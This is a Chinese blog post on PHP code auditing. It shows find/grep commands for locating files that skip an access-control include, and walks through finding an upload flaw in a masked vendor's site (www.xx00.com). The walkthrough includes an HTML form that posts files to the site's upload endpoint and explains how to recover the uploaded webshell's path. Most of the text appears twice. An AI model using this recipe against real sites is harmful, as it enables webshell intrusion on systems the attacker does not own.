代码审计之文件越权和文件上传搜索技巧
2016-01-02 23:41
453 查看
0x01. 全局搜索查找越权技巧
在代码审计中,文件量很大的情况下查找可越权访问的文件(以PHP为例,开始没有引入global.php|common.php等类似的文件)是一件很头疼的事情,下面介绍在Linux环境下使用find命令快速查找可越权的文件:
其它常用的命令参考:/article/3797268.html
0x02. 全局搜索上传漏洞技巧
以某厂商www.xx00.com的源码为例
1.首先全局搜索type=”file”来判断有没有上传点(关键词”$_FILE”是查找上传文件逻辑处理的地方):
命令:
2.xx00也是用的php的框架,所以我们打开主页找mvc框架的影子:
http://www.xx00.com/at/gold_auction/auction_details/532 http://www.xx00.com/at/index/baoming
根据上面两条和下面源码结构,判断功能函数在/application/controller/at/目录下
http的请求功能函数时应该遵循domain/at/action/function/param格式
3.我们打开/application/views/at/phone_test/display.php,发现上传的action=”upload”
4.打开/application/controller/at/phone_test.php,找到upload函数,分析代码可知有上传漏洞
5.本地写一个上传的html文件:
6.上传后看返回的img值,解密md5值即可获取webshell路径
在代码审计中,文件量很大的情况下查找可越权访问的文件(以PHP为例,开始没有引入global.php|common.php等类似的文件)是一件很头疼的事情,下面介绍在Linux环境下使用find命令快速查找可越权的文件:
//find命令 1.在etc下查找"*.log"文件 find /etc -name "*.log" 2.在etc下查找所有包含"common.php"字符串的php文件 find /etc -name "*.php" | xargs grep "common.php" find /etc -name "*.php" | xargs grep "common.php" > ./a.txt 3.在etc下查找没有包含"common.php"字符串的php文件 find /etc -name "*.php" | xargs grep -L "common.php"
其它常用的命令参考:/article/3797268.html
0x02. 全局搜索上传漏洞技巧
以某厂商www.xx00.com的源码为例
1.首先全局搜索type=”file”来判断有没有上传点(关键词”$_FILE”是查找上传文件逻辑处理的地方):
命令:
find /home/juicebox/Desktop/Code/aituan -name "*.php" | xargs grep "type=\"file\"" > a.txt
2.xx00也是用的php的框架,所以我们打开主页找mvc框架的影子:
http://www.xx00.com/at/gold_auction/auction_details/532 http://www.xx00.com/at/index/baoming
根据上面两条和下面源码结构,判断功能函数在/application/controller/at/目录下
http的请求功能函数时应该遵循domain/at/action/function/param格式
3.我们打开/application/views/at/phone_test/display.php,发现上传的action=”upload”
4.打开/application/controller/at/phone_test.php,找到upload函数,分析代码可知有上传漏洞
5.本地写一个上传的html文件:
<html> <body> <form action="http://www.xx00.com/at/phone_test/upload" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
6.上传后看返回的img值,解密md5值即可获取webshell路径
相关文章推荐
- java设计模式学习
- 初学C++类比java语法复杂
- 【15】Session
- 【14】Cookie
- Python-3------新年考试周的Python学习
- java线程的生命周期及wait(),notify(),notifyAll()的详解分析
- C++实现链表的进本操作及测试用例
- leetcode之Insert Interval
- Python教程:numpy的基本介绍
- scrollerView 滚动的时候改变 scrollerView 的背景色代码
- Eclipse常用的快捷键大全
- lua脚本语言的学习-----------------lua栈操作
- 《笨办法学Python》 第2课手记
- C++函数模板
- JDK动态代理实现原理
- 一个比较全面的DJANGO_REST_FRAMEWORK的CASE
- PHP分页原理及代码(新手学习)
- Eclipse启动报错
- 谁在哪一排(C语言实现)
- Python的队列